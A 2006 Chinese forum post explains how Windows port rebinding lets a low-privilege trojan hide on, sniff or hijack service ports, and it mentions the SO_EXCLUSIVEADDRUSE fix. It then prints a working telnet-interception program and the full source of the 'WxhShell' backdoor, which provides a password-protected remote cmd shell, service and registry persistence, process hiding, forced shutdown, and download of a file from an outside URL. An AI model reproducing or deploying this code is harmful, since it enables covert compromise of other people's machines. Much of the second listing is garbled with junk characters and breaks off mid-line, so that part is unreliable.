[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; )T};Q:
if(chr[0]==0xd || chr[0]==0xa) { #Wc #fP
pwd=0; ~q_+;W.
break; N>nvt.`P
} 5q_OuZ/6
i++; o"ah\"#el
} vb"dX0)<
@gqs4cg{f
// 如果是非法用户，关闭 socket 7U[L\1zS
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iZq@W3GL C
} #!d^3iB2
a6k(O8Ank3
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P7k$^n
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `TlUJ]d)
T;[c<gc/
while(1) { *"QE1Fum'
i(f;'fb*
ZeroMemory(cmd,KEY_BUFF); `jQ}^wEgu
&<P^Tvqq&
// 自动支持客户端 telnet标准 $-9@/%Y
j=0; S.F=$z.%
while(j<KEY_BUFF) { (jE:Q2"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); whm tEY
cmd[j]=chr[0]; -^jLU FC
if(chr[0]==0xa || chr[0]==0xd) { 1DlcO>#@
cmd[j]=0; V-ouIqnI
break; ^.1VhTB
} !>2\OSp!
j++; F%+rOT<5
} AB&wn>q
7(g&z%
// 下载文件 |UDD/e
if(strstr(cmd,"http://")) { X>GY*XU
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5<?c_l9X^
if(DownloadFile(cmd,wsh)) AUjTcu>i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T!xy^n]}
else 3&nc'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rUpAiZfz >
} _yB9/F
else { BvW gH.OX
>fj$wOq
switch(cmd[0]) { &|\}\+0Z
Vv)E41
// 帮助 i[\u-TF
case '?': { S@G{|.)2
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U8$dG)PhA
break; kmr 4cU5
} Cbg#Yz~/
// 安装 B{UoNm@
case 'i': { sAN:C{
if(Install()) v?TJ!o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ww tQ>'R"
else XhD fI &
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MirBJL
break; 8Gg/M%wq9U
} ZUJOBjb` K
// 卸载 c2mt<DtWW
case 'r': { Ru')X{]25
if(Uninstall()) ,Ve@=<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <$6'Mzf
else {BCjVmY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HeifFJn
break; Y9L6W+=T
} yW(+?7U
// 显示 wxhshell 所在路径 LLY;IUK!R
case 'p': { eL?si!ZL^
char svExeFile[MAX_PATH]; yIf}b
strcpy(svExeFile,"\n\r"); HgATH
strcat(svExeFile,ExeFile); ]bE?n.NwZ
send(wsh,svExeFile,strlen(svExeFile),0); !gew;Jz
break; N&h!14]{Z
} 6Oba}`)q9
// 重启 1`_)%Y[ZJ
case 'b': { dsZ( D:)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sK/"
if(Boot(REBOOT)) i6:yNb ='
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DF|lUO]:
else { "EhO )lR
closesocket(wsh); 9x{prCr
ExitThread(0); hsO.521g
} ;L%~c4`l~m
break; vGHYB1=~
} T>%ny\?tHW
// 关机 JsEEAM:w
case 'd': { T`ZJ=gv
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W8h\ s {
if(Boot(SHUTDOWN)) SfL`JNi)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6MNA.{Jdd
else { g2<S4
closesocket(wsh); 3(*s|V"
ExitThread(0); X3O$Sd(D
} Z2jb>%
break; `80Hxp@
} aB!Am +g
// 获取shell 5m?$\h
case 's': { j:KQIwc
CmdShell(wsh); gK\7^95
closesocket(wsh); ZKPkx~,U[
ExitThread(0); ~RAH -]
break; 2I7`
} u`@FA?+E1
// 退出 NT/B4'_@
case 'x': { iX6jvnJ:/
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qb{5*>
CloseIt(wsh); 9,eR=M]+:
break; O9)}:++T
} FNEmGz/4
// 离开 %{abRBny
case 'q': { 'k Z1&_{
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ah9',((!
closesocket(wsh); u*N8s[s'
WSACleanup(); !z 5d+ M
exit(1); wu&7#![,
break; qDd/wR,44
} /mu4J|[[
} E2kRt'~N
} G@!9)v]9
hP<qKVy
// 提示信息 F]#fl%
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yLOLv6g~e
} "<a|Q,!
} Yb{t!KL
2<@!m@
return; 695ppiKU
} nW'x#0-
_u2
// shell模块句柄 kk+8NwM1
int CmdShell(SOCKET sock) C~V$G}mM
{ m kf{_!TK
STARTUPINFO si; toJ&$HrE
ZeroMemory(&si,sizeof(si)); Pv.@Y30
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ved Qwzh
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0M+tKFb
PROCESS_INFORMATION ProcessInfo; Mu%,@?zM^/
char cmdline[]="cmd"; (SA*9%
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %([H*sLX
return 0; \hN2w]e
} Z"+!ayA7D
oF xVK
// 自身启动模式 k"{U}Y/}
int StartFromService(void) V7_??L%Ct`
{ <5~>.DuE
typedef struct 4HE4e
{ +'.Q-
DWORD ExitStatus; !;Nh7vG
DWORD PebBaseAddress; 7*"LW
DWORD AffinityMask; qG]PUc>j
DWORD BasePriority; We?:DM [
ULONG UniqueProcessId; 1tpD|
ULONG InheritedFromUniqueProcessId; [Cp{i<C
} PROCESS_BASIC_INFORMATION; y8z%s/gRh
&[5az/Hj*
PROCNTQSIP NtQueryInformationProcess; )aSkUytg"
+KNr1rG
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <-}\V!@E!
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C,hsr
vrbh+
HANDLE hProcess; e*H$c?7NL
PROCESS_BASIC_INFORMATION pbi; Din)5CxFX
_AYF'o-Cm
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'DQyB`V2y
if(NULL == hInst ) return 0; pASVnXJZ
9To6Rc;
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "QS7?=>*F
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ||aU>Wj4
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >,3 3Jx
9lV'3UG-?
if (!NtQueryInformationProcess) return 0; 4PQWdPv;
7!%"8Rl-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f lB2gr^
if(!hProcess) return 0; .SN]hLV5
!&[4T#c
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X2v'9 x
z?,5v`,t2
CloseHandle(hProcess); <bI,y_<K
? Q}{&J
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VIzZmd
if(hProcess==NULL) return 0; q?&&:.H"?5
&=bI3-
HMODULE hMod; 2-84
char procName[255]; mX^RSg9E}
unsigned long cbNeeded; KK</5Aw9p
MzD0F#Y
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $ 1U%E
@4$E.q<0
CloseHandle(hProcess); ^h=kJR9
h6/Z_Y
if(strstr(procName,"services")) return 1; // 以服务启动 +F|[9o z
9OUhV[D
return 0; // 注册表启动 cqudF=q
} rY}ofq7b
p~IvkW>ln)
// 主模块 d%bL_I)
int StartWxhshell(LPSTR lpCmdLine) tO7{g
{ x]Ef}g
SOCKET wsl; `2B+8,{%
BOOL val=TRUE; BxF
int port=0; ) |vFrR
struct sockaddr_in door; soF^G21N
g 7X>i:
if(wscfg.ws_autoins) Install(); ,dBI=D'
m='OnTeOE
port=atoi(lpCmdLine); l<0V0R(
{SV$fl;
if(port<=0) port=wscfg.ws_port; zdCt#=QV?R
d@hJ=-4
WSADATA data; f$|v
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YSbN=Rj
yFG&Ir
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; LKa_ofY
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P6Ei!t,>
door.sin_family = AF_INET; x%1Rp[
door.sin_addr.s_addr = inet_addr("127.0.0.1"); M3%<kk-_
door.sin_port = htons(port); V QI7lJV"
;G$FLL1
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yrw!b\
closesocket(wsl); fJuJ#MX{:
return 1; JFfx9%Fq
} lxZXz JkqZ
&3<]FK
if(listen(wsl,2) == INVALID_SOCKET) { &!ZpBR(
closesocket(wsl); b11C3TyQT
return 1; *RPI$0
} 8J} J;Ga
Wxhshell(wsl); M4| L
WSACleanup(); lgl/| ^ Uw
;XT$rtuX
return 0; r_G`#Z_5F
!SnpesTn
} tBrVg<]t
F~EriO
// 以NT服务方式启动 k.%F!sK
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PyYe>a;.
{ @y+Wl*:
DWORD status = 0; H,'c&
DWORD specificError = 0xfffffff; 2.yzR DfZ
A!c.P2
serviceStatus.dwServiceType = SERVICE_WIN32; ZD3S|1zSQ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; EOL03N
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jy9&=Qh
serviceStatus.dwWin32ExitCode = 0; 3I]5DW %-
serviceStatus.dwServiceSpecificExitCode = 0; vsK>?5{C-
serviceStatus.dwCheckPoint = 0; H X8q+
serviceStatus.dwWaitHint = 0; ZYG"nmNd
"LYob}_z
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~c4Y*]J
if (hServiceStatusHandle==0) return; %Xn)$Ti~<
3iB8QO;pp
status = GetLastError(); NJ.kT uk
if (status!=NO_ERROR) <T['J]k%
{ Ks4TBi&J
serviceStatus.dwCurrentState = SERVICE_STOPPED; m35G;
serviceStatus.dwCheckPoint = 0; ZP1EO Z
serviceStatus.dwWaitHint = 0; ws=y*7$y
serviceStatus.dwWin32ExitCode = status; Mvux=Ws
serviceStatus.dwServiceSpecificExitCode = specificError; H_9~gi
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E)Dik`Ccl
return; 1*Z}M%
} .$Y[>9
B6BOy~B0
serviceStatus.dwCurrentState = SERVICE_RUNNING; QFMS]
serviceStatus.dwCheckPoint = 0; ZEW`?6
serviceStatus.dwWaitHint = 0; X:YxsZQ5Y
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z=#!FZ{
} "QMHY\C
^VA)vLj@
// 处理NT服务事件，比如：启动、停止 _QQO&0Z
VOID WINAPI NTServiceHandler(DWORD fdwControl) =&vV$UtV
{ %BL+'&q
switch(fdwControl) 4WLB,<b}
{ /SyiJCx0
case SERVICE_CONTROL_STOP: s;bqUY?LD
serviceStatus.dwWin32ExitCode = 0; @^%# ]x,:
serviceStatus.dwCurrentState = SERVICE_STOPPED; _b+3;Dy
serviceStatus.dwCheckPoint = 0; t<4+CC2H
serviceStatus.dwWaitHint = 0; K~uoZ~_gA
{ akR*|iK#b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Z`zdZs
} !$j'F?2>
return; 3 Tt8#B
case SERVICE_CONTROL_PAUSE: k7j;'6
serviceStatus.dwCurrentState = SERVICE_PAUSED; 56fcifXz@
break; Xs4`bbap
case SERVICE_CONTROL_CONTINUE: -50|r;a
serviceStatus.dwCurrentState = SERVICE_RUNNING; nF=h|rN
break; &`@K/Nf$9
case SERVICE_CONTROL_INTERROGATE: U@H SU%H
break; Q.x3_+CX
}; [xHK^JP 8F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .^/OL}/~<
} ss*dM.b
=T[kGg8`
// 标准应用程序主函数 &TKB8vx=#
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {&xKSWNc
{ \2uQ"kJC
TtHqdKL
// 获取操作系统版本 5WEF^1
OsIsNt=GetOsVer(); HH^eEh4g
GetModuleFileName(NULL,ExeFile,MAX_PATH); xand%XNv
Hg<]5
// 从命令行安装 }nkX-PG9
if(strpbrk(lpCmdLine,"iI")) Install(); )H)HR`
}psJ'aiG*
// 下载执行文件 .Ir5gz
if(wscfg.ws_downexe) { RK|C*TCnl
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gVO[R6C5C
